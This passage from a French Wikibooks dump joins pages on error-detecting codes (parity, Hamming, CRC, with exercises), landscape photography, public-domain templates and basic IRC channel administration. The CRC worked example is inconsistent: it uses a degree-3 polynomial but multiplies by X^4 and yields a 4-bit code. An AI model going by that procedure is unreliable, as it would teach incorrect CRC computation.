'''0110 0111 1001'''.<br/> En enlevant les bits f<sub>8</sub>, f<sub>4</sub>, f<sub>2</sub> et f<sub>1</sub>, on obtient donc la donnée initiale après correction soit '''0110 1110''' === Les inconvénients du codage de Hamming et du bit de parité=== Ces deux codages sont intéressants mais ne sont pas adaptés à tous les types de situation : lorsqu'il n'y a que peu d'erreurs et que ces erreurs sont statistiquement isolées, ces codes peuvent être intéressants. Mais dès qu'il y a un grand nombre d'erreurs et que ces erreurs arrivent groupées, alors ces codages deviennent de moins en moins performants. On s'aperçoit ainsi que l'efficacité d'un mécanisme de détection d'erreurs dépend en fait des hypothèses sur la répartition statistique des erreurs.<br/> === Le code CRC === Le codage CRC est un mécanisme très efficace pour détecter des erreurs groupées. Il faut dans un premier temps se fixer une fois pour toute un polynôme référence : par exemple, nous allons choisir X<sup>3</sup>+X+1. Dans la réalité, les polynômes références sont des polynômes de degré élevé, 16 ou 32 par exemple. Pour des raisons de simplicité de présentation, nous choisirons un polynôme de degré 3 dans cette présentation.<br/> On se donne une suite de bits quelconque par exemple 0111 1100 1110. On veut rajouter les bits de contrôle CRC à la fin de cette donnée. <br/> <br/> '''Obtention du code CRC'''<br/> '''Etape 1 : '''<br/> On commence par construire un polynôme à partir de la suite de bits. On va construire le polynôme dont les coefficients correspondent à la suite de bits fixées. Ainsi à partir de la suite de bits 0111 1100 1110, on va obtenir le polynôme :<br/> <math>0.X^{11}+1.X^{10}+1X^9+1.X^8 +1.X^7+1.X^6+1.X^3+1X^2+1.X+0</math><br/> soit <math>X^{10}+X^9+X^8+X^7+X^6+X^3+X^2+X</math> <br/><br/> '''Etape 2 : '''<br/> On multiplie ensuite par X<sup>d</sup> où d est le degré du polynôme référence, ici par X<sup>4</sup> .<br/> <math>X^{14}+X^{13}+X^{12}+X^{11}+X^{10}+X^7+X^6+X^4</math><br/><br/> '''Etape 3 : '''<br/> On divise le polynôme obtenu par le polynôme référence. Attention, on effectue la division de polynôme dans Z/2Z c'est-à-dire que tout coefficient pair sera remplacé par 0 et tout coefficient impair (notamment -1) sera remplacé par 1. <pre> <math>X^{14}+X^{13}+X^{12}+X^{11}+X^{10}+X^7+X^6+X^4</math>divisé par <math>X^3+X+1</math> <math>-X^{14} -X^{12}-X^{11}</math> <math>X^{11}+X^{10}+X^{8}+X^6+X^5+X^3+X^2</math> ==><math> X^{13} +X^{10}+X^7+X^6+X^4</math> <math>-X^{13}-X^{11} -X^{10}</math> ==><math> -X^{11}+X^7+X^6+X^4</math> ==><math> X^{11}+X^7+X^6+X^4</math> <math>-X^{11}-X^9-X^8</math> ==><math>-X^9-X^8+X^7+X^6+X^4</math> ==><math>X^9+X^8+X^7+X^6+X^4</math> <math>-X^9-X^7-X^6</math> ==><math>X^8+X^4</math> <math>-X^8-X^6-X^5</math> ==><math>-X^6-X^5+X^4</math> ==><math>X^6+X^5+X^4</math> <math>-X^6-X^4-X^3</math> ==><math>X^5-X^3</math> ==><math>X^5+X^3</math> <math>-X^5-X^3-X^2</math> ==><math>-X^2</math> ==><math>X^2</math> </pre> On s'arrête lorsque le degré du reste et inférieur strictement à d. '''Etape 4 :'''<br/> On écrit ensuite le reste en écrivant tous les coefficients de X<sup>d-1</sup> à X<sup>0</sup>.<br/> <math>0.X^3+1.X^2+0.X^1+0.X^0</math><br/> Le code CRC est la suite de d bits obtenues à partir des coefficients de ce polynôme.<br/> Le CRC est donc ici 0100. On rajoute le CRC à la fin de la donnée initiale. On obtient donc comme donnée finale :<br/> 0111 1100 1110 '''0100''' <br/><br/> '''Vérification du code CRC'''<br/> Pour vérifier un code CRC lorsqu'on se donne une suite de bits contenant à la fin le code CRC, il faut suivre les étapes suivantes :<br/> '''Etape 1 :'''<br/> Obtenir à partir de la suite de bit le polynôme. <br/> '''Etape 2 :'''<br/> Diviser le polynôme obtenu par le polynôme référence (sans avoir multiplier le polynôme par X<sup>d</sup>). <br/> '''Etape 3 :'''<br/> Si le reste obtenu est nul, on en déduit qu'il n'y a eu aucune erreur de transmission dans le cs contraire une erreur s'est produite. <br/> ==Exercices == ===Exercice 1=== Rajoutez le bit de parité (à la fin) aux données suivantes :<br/> 1010 1110 <br/> 0011 0011 <br/> 0000 0001 <br/> ===Exercice 2 === Voici des données auxquelles on a rajouté à la fin un bit de parité. Ces données ont-elles été altérées. 1100 1111 0 <br/> 0011 1110 1 <br/> 1111 1111 1 <br/> ===Exercice 3 === Représentez en utilisant le code de Hamming les données initiales suivantes :<br/> 0011 1100 <br/> 1110 0111 1100 <br/> 1111 0111 1111 1011 <br/> ===Exercice 4 === Voici 2 données codées en utilisant la codage de Hamming <br/> 1111 1110 1101 <br/> 1011 1110 1100 <br/> Pour chacune de ces valeurs :<br/> a) La donnée a-t-elle été altérée ? <br//> b) Quelle était la donnée initiale ? <br> ===Exercice 5 === Calculer le code CRC obtenu à partir des données initiales suivantes. Le polynôme référence est <math> X^3+X+1</math>.<br/> 1100 1100 1001<br/> 0010 0110 1001<br/> 1000 0100 0111<br/> ===Exercice 6 === Voici des données contenant à la fin un code CRC. Le polynôme référence est <math> X^3+X+1</math>. La donnée a-t-elle été altérée ?<br/> 1101 1110 1111 1010 <br/> 1101 1110 1111 1010 <br/> Modèle:Sous section/Informations 6869 31487 2006-02-05T11:34:27Z Boly38 136 création Ceci est un exemple. Ces deux petites phrases se trouvent dans une sous section. Modèle:Réseaux TCP/IP 6871 35015 2006-02-27T13:56:26Z Jean-Jacques MILAN 114 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Réseaux_TCP/IP|Les réseaux TCP/IP]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Les réseaux TCP/IP]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>Chap. 1 - [[Réseaux_TCP/IP_:_adressage_IP_v4|L'adressage IP version 4]]</small> *<small>Chap. 2 - [[Réseaux_TCP/IP_:_les_serveurs_DNS|Les serveurs DNS]]</small> *<small>Chap. 3 - [[Réseaux_TCP/IP_:_le_routage_IP_statique|Le routage IP statique]]</small> *<small>Chap. 4 - [[Réseaux_TCP/IP_:_NAT|Translation d'adresses NAT/PAT]]</small> *<small>Chap. 5 - [[Réseaux_TCP/IP_:_VPN|Les VPN]]</small> *<small>Chap. 6 - [[Réseaux_TCP/IP_:_la pile TCP/IP|La pile TCP/IP]]</small> *<small>Chap. 7 - [[Réseaux_TCP/IP_:_DHCP|DHCP]]</small> *<small>Chap. 8 - [[Réseaux_TCP/IP_:_Routage_dynamique|Le routage dynamique]]</small> *<small>Chap. 9 - [[Réseaux_TCP/IP_:_Les routeurs_CISCO|Les routeurs CISCO]]</small> *<small>Chap. 10 - [[Réseaux_TCP/IP_:_Administration sous Windows|Administration sous Windows]]</small> *<small>Chap. 11 - [[Réseaux_TCP/IP_:_Administration sous Linux|Administration sous Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Bibliographie''' |- | bgcolor="white" | *<small>[[Réseaux_TCP/IP/Liens Internes|Lien internes]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Autres cours''' |- | bgcolor="white" | *<small>[[Introduction aux réseaux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Réseaux_TCP/IP&action=edit Modifier ce modèle]</small> |} Photographie - 31 - Le paysage 6872 44455 2006-06-12T20:47:57Z 80.141.125.220 /* Des photos très perfectibles */ image has ti be deleted on commons due to copyvio {{Photographie}} == Généralités == La photographie de paysage a ses exigences particulières, elle demande avant tout des objectifs de qualité, mais aussi la maîtrise de l'équilibre des couleurs, des paramètres d'exposition, du choix de la focale la mieux appropriée. Tous ces éléments sont désormais à la disposition des photographes sur les appareils numériques qui possèdent presque tous un mode « paysage » associé à une icône représentant généralement une montagne très stylisée. Cependant, nous sommes ici dans un domaine où la technique ne fait pas tout, la réussite d'un paysage suppose que la lumière soit belle et que le photographe possède un sens aigu de l'instant propice et de la composition des images. Si l'on peut presque toujours améliorer une photographie de paysage grâce à l'ordinateur, il faut bien se dire que toutes les manipulations possibles transformeront rarement en chef d'œuvre une image ratée dès la prise de vue. Il arrive bien souvent que sur le terrain, le photographe en prenne « plein la vue », mais que le résultat final se révèle particulièrement décevant. Les raisons en sont multiples, mais l'une d'entre elles est essentielle : les paysages sont des sujets à trois dimensions, comme les scènes de montagne, les sous-bois, les cascades, les champs, etc. et leur reproduction photographique n'a que deux dimensions. Autrement dit, l'impression de relief disparaît. Pour juger de ce que donnera l'image finale, une excellente méthode consiste à '''observer la scène en fermant un œil''' de façon à perdre la vision binoculaire qui permet d'obtenir la sensation du relief. Bien souvent, en particulier en sous-bois, ce geste simple invite à laisser l'appareil dans son étui ! Les appareils numériques sont aujourd'hui peu encombrants et ils permettent de multiplier les prises de vue, de faire de nombreux essais, quitte à faire un tri sévère par la suite. Cette possibilité n'exclut pas la nécessité de peaufiner '''chaque''' photo, sous peine d'avoir à choisir en le médiocre et le mauvais ... En revanche, elle permet à ceux qui savent observer leur environnement de profiter de toutes les circonstances de la vie, comme le voyage, la randonnée, la pêche, le ski, pour chercher à obtenir des images intéressantes. == Quelques conseils == * '''Être patient''' : il faut toujours prendre le temps de soigner les prises de vue et recherche le moment propice : attendre par exemple le passage d'un nuage pour que certains éléments lointains essentiels à la composition soient bien éclairés ou encore attendre qu'un élément de vie (animal, passant, véhicule, ...) vienne animer la scène. * '''Veiller au temps de pose''' : il ne faut jamais oublier que si les paysages ont une structure essentiellement statique, ils contiennent souvent des éléments mobiles comme les vagues, l'eau qui coule, les feuillages animés par le vent, les nuages qui défilent, etc. Pour « figer » les parties mobiles ou au contraire pour les rendre floues, le choix de la vitesse d'obturation est essentiel. Dans le premier cas, une vitesse relativement rapide s'impose mais dans le second, il faut choisir au contraire une vitesse lente et un trépied s'impose. Un appareil doté d'un système de stabilisation apporte évidemment un avantage, en particulier dans le cas où l'on doit utiliser une focale assez longue. * '''Ne pas oublier la « règle de trois »''' : au lieu de centrer les sujets, ce qui donne des images le plus souvent monotones et inintéressantes, il faut donner aux éléments des proportions différentes, faire des choix en mettant en valeur un seul sujet et non plusieurs, tenter de recréer l'impression en relief en utilisant les ressources de la perspective. Dans le cas d'une marine, par exemple, une ligne d'horizon située au milieu de l'image signifie presque toujours que le photographe n'a pas su choisir entre le ciel et la mer. Un '''tiers''' de mer et deux tiers de ciel, ou l'inverse selon les circonstances, est une bonne manière de rompre la monotonie. Il est bon également, surtout pour les prises de vue en montage, d'avoir '''trois''' plans successifs, un plan rapproché, un plan moyen et un plan éloigné, afin d'obtenir une bonne impression de relief. * '''Utiliser le flash''' : cette source d'éclairage, particulièrement le petit flash intégré à la plupart des appareils, donne généralement des résultats détestables et ne peut guère constituer qu'un palliatif en cas de manque de lumière. Il n'en va bien sûr pas de même avec les flashes de studio, mais nous sortons ici de notre sujet. Là où le flash se révèle particulièrement intéressant, c'est paradoxalement '''en plein soleil''', pour déboucher les ombres trop intenses de sujets ou d'objets placés en premier plan. * '''Se lever tôt ou se coucher tard''' : contrairement à une idée répandue, les éclairages intenses du milieu de la journée ne se prêtent pas aux photographies de paysage. Les lumières y sont brutales, les contastes trop violents et les ombres peu intéressantes. == Quelques exemples == === Des photos très perfectibles === {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:Lago di garda.jpg|240px|center]] |'''Lac de garde, Italie'''<br><br> Nous avons ici un « souvenir de voyage » comme ont pu en rapporter des milliers de touristes émerveillés par la région et dont la seule valeur est celle, affective, que peut lui attribuer son auteur. Pour le spectateur extérieur, cette photo n'a guère d'intérêt, elle ne met en valeur aucun élément caractéristique du lieu, elle ne comporte aucun véritable '''sujet'''. Par ailleurs, son relief est faible car il manque un étagement de plans convaincant. Les moignons de feuillages visibles en bas à gauche perturbent l'image plus qu'ils ne la servent. |- |[[Image:Montepulciano-countryside.jpg|240px|center]] |'''Montepulciano, Italie'''<br><br> L'intention de montrer à la fois le village et son environnement était certes louable mais d'une part les maisons sont bien trop guillottinées et d'autre part le paysage est terriblement affadi par la brume. Un cadrage vertical aurait probablement donné plus de profondeur à la scène. Le côté délavé de la campagne aurait pu être atténué par un traitement informatique de l'image ou mieux par un filtre dégradé gris lors de la prise de vue. Gare aux petits détails ! La tendue à rayures visible en bas à droite attire irrésistiblement le regard, une correction locale (ou un autre cadrage) s'impose. |- |} <gallery> Image:ValleLuna-001.jpg Image:Porec riva.jpg Image:Tresco.jpg Image:Clouds over Montserrat.jpg Image:Zabriskie-002.jpg Image:Black sheep.jpg Image:African safari route.jpg Image:Blejsko jezero.jpg Image:African landscape.jpg Image:LE Beach and Boats.jpg Image:MuensterPromenade26.jpg Image:Feusisberg02.JPG Image:HeiligenstadtLeinleiterbach.JPG Image:Cefalu Strand.jpg Image:Aaraksboe in Setesdalen 1.JPG Image:African landscape.jpg Image:African waterfall.jpg Image:AlleyWinter.jpg Image:AufseesAussichtsfelsen.jpg Image:AufseesAussichtspunkt.jpg Image:Avenches.jpg Image:Bavaria Isartal.jpg Image:Bishop's Peak.jpg Image:Botswana sunset.jpg Image:Bow Locks.jpg Image:Breithorn 2138.jpg Image:Breithorn Enzian 2005-06-11.jpg Image:BrunnHeiligenstadt2005.jpg Image:Chesil and fortuneswell.jpg Image:Dartmoor b.jpg Image:Diamantstock1.jpg Image:Frühlingslandschft Aaretal Schweiz.jpg Image:Fyresdal 1.JPG Image:Gibraltar1.jpg Image:Golden Gate Bridge 1926.jpg Image:HeiligenstadtMarktplatz.JPG Image:HillsofEastTN.jpg Image:Jeux de lumieres.JPG Image:Jungfrau 2416.jpg Image:Laos Landscape in Vang Vieng.jpg Image:Lohner Berg.jpg Image:LudwigshafenMichaelsberg.JPG Image:Matterhorn Riffelsee 2005-06-11.jpg Image:London fields 1.jpg Image:Fitz Roy 1.jpg Image:Karkonosze in winter 01.jpg Image:Field near San Miguel de Allende.jpg Image:IMG 0711 Vista.jpg Image:Perth Australia 2.jpg Image:Preikestolen platform2.png Image:Capri dal monte solaro.jpg Image:East Mitten Butte in Monument Valley.jpg Image:Kenrokuen bridge.jpg Image:Kenrokuen in snow.jpg Image:Gotthard Südrampe.jpg Image:Verona - Piazza Bra.jpg Image:Hvalba beach whaling, Faroe Islands.jpg Image:NASA7-722-46H-s.jpg Image:Baumgruppe Deadvlei Sossusvlei.JPG Image:350m Düne Deadvlei Sossusvlei.JPG Image:Toter Baum Hiddenvlei Sossusvlei2.JPG Image:Planty dietlowskie.jpg Image:Castle Geyser 2.jpg Image:Sunset pyyambalam Kannur kerala India.jpg Image:Grosser Aletschgletscher 3196.JPG Image:Llobregat 1.jpg Image:Yosemite-tuolumne meadows 1.jpeg Image:Kyu-kobeko-shingojo004.jpg Image:Sunset-at-Sea.jpg Image:Sea and rollers.JPG Image:Popocatépetl al amanecer.jpg Image:Goko Reflection.jpg Image:Island of Hvar (Croatia), shape.jpg Image:RapeFields.JPG Image:Great Salt Lake Utah USA1.jpg Image:Great Salt Lake Utah USA2.jpg Image:GrandTeton Wyoming USa.jpg Image:E4Lpa.jpg Image:Lake superior Au Train Bay.jpg Image:La diga del Vajont vista da Longarone 18-8-2005.jpg Image:Burano-vista.jpg Image:Dunst.jpg Image:ThingvellirAlmanagjaClouds.jpg Image:Pisac Terassen medium.jpg Image:Simplonpass.jpg Image:Yareta Peru.jpg Image:Madison Wisconsin night.jpg Image:Laila Peak.jpg Image:China Hangzhou Westlake.jpg Image:China Hangzhou Westlake-4.jpg Image:Carex atrofusca.JPG Image:Fakarava-ponton-rotoava.jpg Image:Jordan Pond Acadia National Park Maine USA.jpg Image:Alcântara by wax115.jpg Image:Peyto Lake 3.jpg Image:Lake Louise 2.jpg Image:Großglockner from South.jpg Image:Pica d'Estats 31-08-2005.jpg Image:Kehlstein Hoher Göll Hohes Brett 270804.jpg Image:The view over the kleine scheidegg.jpg Image:Großenbrode 2005 032.jpg Image:Madeira-JL2.jpg Image:Chartres 1987.jpg Image:Swanston Street Nth, looking Sth.jpg Image:Breithorn Enzian 2005-06-11.jpg Image:Laila Peak.jpg Image:Windbuchencom.jpg Image:Misty morning03.jpg Image:Lightning cloud to cloud (aka).jpg Image:Spiegelung auf einem See.jpg Image:Chicamocha.jpg Image:Paignton.jpg Image:Lijiang river, Guangxi, China.jpg Image:Ría de Arousa GFDL Barraña-Boiro.jpg Image:Forest in San Francisco.jpg Image:Hammerfest Harbour.JPG </gallery> Modèle:Domaine public 6874 44267 2006-06-10T08:18:24Z 84.189.215.247 <br style="clear:both" /> {| align="center" style="width:80%; background-color:#f7f8ff; border:2px solid #8888aa; text-align:justify; padding:5px;" |- | [[Image:PD-icon.svg|64px|Domaine public]] | Cette œuvre fait partie du [[Domaine public, en droit de la propriété intellectuelle|domaine public]], soit parce que son auteur a renoncé à ses droits (''copyright''), soit parce que ses droits ont expiré. Elle est donc librement diffusable et/ou modifiable. |} [[catégorie:Image Domaine Public]] Modèle:DP 6875 31544 2006-02-05T14:43:20Z Boly38 136 redirect #redirect [[Modèle:Domaine public]] Catégorie:Image Domaine Public 6876 31825 2006-02-07T00:06:31Z Boly38 136 rectif depuis [[w:Catégorie:Image Domaine Public]] {{Commons|Category:Public domain images|Catégorie:Images du domaine public}} ''Liste des images intégrant le modèle [[:Modèle:Domaine public|<nowiki>{{DP}}</nowiki>]], c'est-à-dire appartenant au [[w:domaine public|domaine public]].'' [[catégorie:Image libre]] Image:Réseaux IP 1.gif 6877 31547 2006-02-05T14:51:48Z Merrheim 1032 {{DP}} Fonctionnement de l'IRC 6878 47160 2006-07-03T07:14:35Z 82.238.190.210 /* Modes de salon */ Cette page explique non pas la signification de l'IRC mais comment l'utiliser. La page [[w:Internet Relay Chat|Internet Relay Chat]] vous aidera à comprendre ce qu'est IRC. == Réseaux, serveurs, canaux == * Un serveur est un ensemble de salons de discussion. Chaque salon de discussion peut avoir un sujet (Exemple : Un salon de discussion officiel d'un site, d'un forum, etc.). On appelle Salon de discussion le canal, ou le channel, le chan. Pour joindre un salon de discussion du même serveur, il suffit d'écrire /join #nom_du_salon avec le dièse (parfois il est inutile). Si l'on est sur un salon de discussion d'un tel serveur, pour accéder à un salon de discussion d'un autre serveur, il faut d'abord joindre cet autre serveur. Grâce à la commande /server nom_du_serveur vous vous connecterez à un autre serveur. Une erreur sera renvoyée si le serveur n'existe pas. Vous pouvez aussi joindre un serveur sans se déconnecter de l'autre. Pour cela, il vous suffit d'ajouter un -m, ce qui donne /server -m nom_du_serveur. Lorsque vous joignez un autre serveur, celui-ci peut appartenir au même réseau où vous êtes ou à un autre réseau. Cela n'a pas d'importance. * Un réseau est un ensemble de serveurs (au moins 2 donc). == Grades == En IRC, il existe trois grades principaux : * Les '''Utilisateurs''' normaux sont remarqués avec aucun signe à gauche de leur pseudonyme dans la liste des personnes du salon. Ils n’ont aucun droit sur le salon, sauf celui de parler ( si le salon est en -m ), ils peuvent t’chatter ( même condition ). Remarquez que si le salon est en mode -t ils peuvent modifier ou mettre le sujet de salon normalement.</br> * Les '''Voices''' sont des utilisateurs ayant reçus le mode +v sur un canal de discussion. Ils ne peuvent pas éjecter ou bannir, et n’ont aucun pouvoir sur le salon ( comme des utilisateurs normaux ). On voice quelqu’un car il peut être ami, personne appréciée.. Cela dépend des salons. Les voices sont en haut de la liste des pseudos ( en bas des half-ops ) et se font mieux remarquer. Lorsque le salon est en +m, les voices peuvent toujours tchatter ( les modérateurs aussi ) mais pas les utilisateurs normaux.</br> * Les '''Half-Ops''' ( Semis-Opérateurs ) sont des utilisateurs ayant reçus le mode +h sur un canal de discussion. Ils peuvent changer le sujet du salon ( le topic ) même lorsque le salon est en +t, et ils peuvent éjecter ( kicker ) ou bannir ( ban ) quelqu‘un. Ils peuvent appliquer certains modes sur le salon et mettre les personnes qu’ils veulent voice. Ils peuvent appliquer l’option +e sur des personnes, afin que cette personne ne puisse pas être bannie du salon de t’chat pendant qu’elle a l’option +e sur le salon. Une personne bannie du salon a le mode +b. Pour bannir quelqu‘un du salon , il faut écrire /mode #NOM_DU_SALON +b XXX. Reportez vous au chapitre Bannissements pour savoir avec quoi peut-on remplacer le XXX. Pour voicer quelqu`un, l’half-op doit écrire /mode #NOM_DU_SALON +v XXX en remplaçant XXX par le nom de la personne. à noter que certains réseaux IRC ne disposent pas de ce mode d'utilisateur. * Les '''Ops''' ( Opérateurs du salon ), utilisateurs ayant reçus le mode +o sur un canal de discussion, ont les mêmes pouvoirs que les half-ops mais peuvent appliquer certains modes sur le salon que les half-ops ne peuvent pas ( salon privé, salon en +l, protection contre le flood, bloquage de messages couleurs etc. ). * Les '''Admins''' sont des utilisateurs ayant reçus le mode +a sur un canal de discussion. Sous unreal IRCd, ce mode est attribué à un utilisateur ayant un acces d'au moins dix sur un canal de discussion. Il peuvent modérer les opérateurs et changer une partie de la configuration d'un canal, retirer ou ajouter des accès inférieur à leur niveau. * L''''Owner''' et le '''Founder''' est un utilisateur ayant reçu le mode +q sur un canal de discussion. L'Owner peut modifier complêtement la configuration du canal de discussion et releguer son statut d'owner à un autre utilisateur. == Principe d'accès == La plupart des réseaux IRC permettent l'enregistrement d'un canal de discussion pour les utilisateurs. Le nombre de canaux pouvant être enregistré par un seul utilisateur peut être limité, ou non, sur le réseau. Lorsqu'un canal est enregistré, celui qui à enregistré le canal devient alors Founder. Celui ci à un droit total sur le canal. Il peut ensuite ajouter des accès afin de permettre à d'autres de modérer et s'occuper du canal en question. un accès est un chiffre entre 0 et 9999 qui permet de définir qui est prédominant sur un canal par rapport aux autres utilisateurs. Par exemple sous l'IRCd Unreal IRCd, par défaut la gestion des accès est la suivante : * Utilisateur avec un accès de 0 à 2 : Utilisateur normal, ne recoit aucun avantage. * Utilisateur avec un accès de 3 : Utilisateur auquel le mode +v sera attribué lors de son arrivé sur le canal. * Utilisateur avec un accès de 4 : Utilisateur auquel le mode +h sera attribué lors de son arrivé sur le canal * Utilisateur avec un accès de 5 à 9 : Utilisateur auquel le mode +o sera attribué lors de son arrivé sur le canal * Utilisateur avec un accès de 10-9999 : Utilisateur auquel les modes +oa seront attribué lors de son arrivé sur le canal Le Founder/Owner n'a pas besoin d'un accès en particulier, le robot de service le reconnait déjà comme tout puissant et n'a donc pas besoin de lui définir un accès pour comparer avec les autres utilisateurs. Plus l'accès est haut plus cela est avantageux. Par exemple un utilisateur avec un accès de 499 ne pourra pas kicker un utilisateur ayant un accès de 500 ou plus. Cela permet donc de créer une hierarchie. Mais cela ne s'arrête pas là. les "levels" sont remodifiables, c'est à dire que l'accès aux options, aux modes et à d'autres caractèristiques peuvent être redéfinis. Par exemple il est possible de faire un canal où n'importe quel utilisateur se voit attribué le mode +o dès son arrivé. Un utilisateur voulant bénéficier de l'accès qu'il possède sur un salon doit s'identifier ( d'abord enregistrer son pseudonyme ). Enfin, il existe la possibilité de mettre des accès négatifs sur certains utilisateurs et de les interdir d'accès au canal de cette manière. == Éjection == Pour éjecter ( kicker ) une personne d'un salon il suffit qu'un half-op ou op écrive /kick #NOM_DU_SALON Pseudonyme [raison]. Il existe des variantes mais ne nous compliquons pas la vie :P ! (La raison est facultative) == Bannissements == Si la personne a assez de pouvoir ( être au moins half-op ), il suffit d’écrire /mode #NOM_DU_SALON +b XXX pour bannir une personne en remplaçant XXX par pseudo!ident@host * Le pseudo est le pseudonyme de la personne. Vous pouvez écrire /mode #NOM_DU_SALON +b Pseudo ( ou /mode #NOM_DU_SALON +b Pseudo!*@* ) pour bannir <Pseudo> du salon. Un bannissement signifie que si la personne est là, elle ne pourra plus parler sur le salon ( et si elle part elle ne pourra plus revenir sur le salon ), ou si la personne n’est pas là, elle ne pourra plus joindre le salon A PARTIR DE CE PSEUDO. Mais il y a une défaillance : si la personne change de pseudo, elle pourra re-rentrer sur le salon ! * L’ident est un certain mot ( ou minuscule texte ) que l’on peut définir. Pour bannir une personne utilisant un certain ident, il vous faudra écrire /mode #NOM_DU_SALON +b *!ident@* en remplaçant ident par l’ident à bannir. Seulement voilà, la personne peut changer d’ident et ainsi revenir sur le salon, voilà la défaillance ! L’ident d’une personne peut être trouvée en effectuant un whois sur la personne ( /whois pseudo ) * L’host est une code permettant d’identifier une personne. L’host change en rapport de l’Adresse IP de la personne. Écrivez /mode #NOM_DU_SALON *!*@host en remplaçant l’host par l’host de la personne. L’host d’une personne pourra être trouvée par un whois sur la personne ( /whois pseudo ). La personne bannie est obligée de changer d’adresse IP ou de changer d’ordinateur pour pouvoir rejoindre le salon. == Jokers et WildCards == Vous l’avez vu, lorsque l’on bannit quelqu‘un en utilisant la commande /mode .. Après le +b il y a parfois une étoile. C’est un joker. </br> Dans *!charlotte@cust.12.129.13.tele2.fr, si vous bannissez cela, juste une personne ayant ce host et cet ident sera bannie. Le pseudo est remplacé par une étoile *. Cela signifie que le bannissement est valable sur n’importe quel pseudonyme. Si vous écrivez /mode #NOM_DU_SALON +b charlotte*!charlotte@cust.12.129.13.tele2.fr alors si quelqu‘un à le même host et le même ident que précisé dans le ban et que le pseudo commence par charlotte, la personne sera banned ( bannie - charlotte* signifie commençant par charlotte. L’étoile * signifie ou ayant des caractères en plus où l‘étoile est placée ). Vous pouvez aussi bannir *charlotte*!charlotte@cust.12.129.13.tele2.fr ( si quelqu‘un a le même host et ident et que dans son pseudo il y a un ’charlotte’, alors, la personne ne pourra pas rejoindre le salon ) etc.. Remarquez que les jokers peuvent aussi être mis dans les idents ou hosts. </br>Lors d'un /who sur une personne ( très brève information sur une personne ), on ne peut utiliser de Jokers sur host ou ident ( l'ensemble host + ident donne le masque ) mais l'on peut utiliser des Jokers ( appellés aussi WildCards ) sur des pseudos lors des /who. Exemple : /who king* .. Il existe aussi un wildcard que nous n'avons pas vu, le point d'interrogation ( symbole '?' ). Le point d'interrogation signifie qu'à la place de celui-ci, il y a un caractère ( lettre ou chiffre ). Ce wildcard marche aussi que dans le pseudo dans les /who. Faisons un essai avec un who. Ecrivez par exemple ''/who ge?????'' .. Cela pourrait donner : </BR> #QuiZz georges Hr gorgio@DC942194.w91-429.abo.wanadoo.fr :0 Utilisateur</br> #QuiZz geremie Gr admin@main.epik.org :1 Admin-Actif</br> ge????? End of /WHO list. </BR> </BR> Voilà une bonne nouvelle ! Deux pseudos commençant par ge et ayant 5 caractères après ont été trouvés sur le serveur, dans ce cas-là. Après le pseudo georges ou geremie, vous voyez Hr ou Gr. Le H signifie que la personne est 'away' ( plus présente - vous pouvez vous mettre 'avay' en écrivant /away raison - alors si quelqu'un vous fait un ''/who'' vous serez en H et si elle vous fait un ''/whois'' il y aura écrit que vous êtes parti pour telle raison - pour ne plus être away il vous suffit d'écrire ''/away'' tout court ) et le r signifie que la personne s'est identifiée. Regardez maintenant les masques ( ou masks ) de chaque personne. La première personne, gorgio dans notre cas, a un masque qui pourrait être possible, mais geremie a un masque un peu 'bizzare'.. En fait ce n'est pas un vrai masque et le host est un vhost. == Les Vhosts == Ce sont des faux hosts. Ils sont là pour 'faire joli'. Juste un ircop ( Modérateur du réseau ) ou un locop ( Modérateur du serveur ) peuvent mettre un vhost à une personne ( ou vous ). Une fois que la personne vous a mis un vhost, il vous suffit d'écrire ''/hs on'' pour activer votre vhost. Et il vous suffit d'écrire ''/hs off'' pour désactiver votre vhost. == Modes de salon == Les salons peuvent avoir différents modes ( ou aucun ). Ces modes sont des propriétés du salon. Voilà tous les modes que l'on peut appliquer sur un salon : c = Bloque les messages contenant des codes couleurs mIRC, ne les envoie pas. [o] f <paramsflood> = Protection contre le Flood [o] i = Un utilisateur doit être invité pour rejoindre le salon [h] j <joins:sec> = Limite le nombre de joins par utilisateur à 'joins' par 'sec' secondes [o] k <clé> = Les utilisateurs doivent spécifier une <clé> ( un mot de passe ) pour joindre le salon. Ils devront écrire /join #nomdusalon motdepasse pour joindre le salon. [h] l <nombre maximum d'utilisateurs> = Le salon peut accueillir au maximum <nombre> utilisateurs [o] m = Salon modéré (seuls les utilisateurs +vhoaq peuvent parler) [h] n = Les utilisateurs hors du salon ne peuvent envoyer de PRIVMSGs au salon [h] p = Salon privé ( pareil que salon en +s ) [o] r = Le salon est enregistré (applicable par les services uniquement) s = Salon secret ( pareil que salon en +p ) [o] t = Seuls les +hoaq peuvent changer le topic [h] z = Seuls les clients avec une connexion sécurisés (SSL) peuvent rejoindre [o] A = Salon réservé aux Server/Net Admin (applicable par les Admins) C = CTCPs non autorisés sur le salon [o] G = Remplace tous les 'Bad words' dans les messages par <censored> [o] M = Doit utiliser un pseudo enregistré (+r), ou avoir un access voice pour parler [o] K = /KNOCK n'est pas autorisé [o] L <salon2> = Salon lié (Si le +l est atteint, l'utilisateur suivant sera forcé de rejoindre le chan <salon2>) [q] N = Aucun changement de pseudo n'est autorisé sur le salon [o] O = Salon réservé aux IRC Operator (applicables par les IRCops) Q = Aucun kick n'est autorisé [o] R = Seuls les utilisateurs enregistrés (+r), dont leur pseudo est enregistré, peuvent rejoindre le salon [o] S = Filtre les codes couleurs mIRC [o] T = Aucune NOTICE n'est autorisée sur le salon [o] V = /INVITE n'est pas autorisée [o] u = Mode auditorium (/names et /who #salon montrent uniquement les opérateurs du salon) [q] [h] signifie que les half-ops et ops peuvent mettre ce mode et [o] signifie que les ops seulement peuvent mettre ce mode. == Glossaire == ===B=== ;Ban:Désigne l'action de '''ban'''nir quelqu'un (lui interdire l'accès pendant une période donnée, ou jusque nouvel ordre). ===C=== ;Chan/Channel:Synonyme de salon de discussion. Un channel sous IRC débute par le signe "#". ===F=== ;Flood:"Flood" est un mot issu de l'anglais qui se traduit en français par « Inondation ». Ce terme désigne le fait (ou l'action) 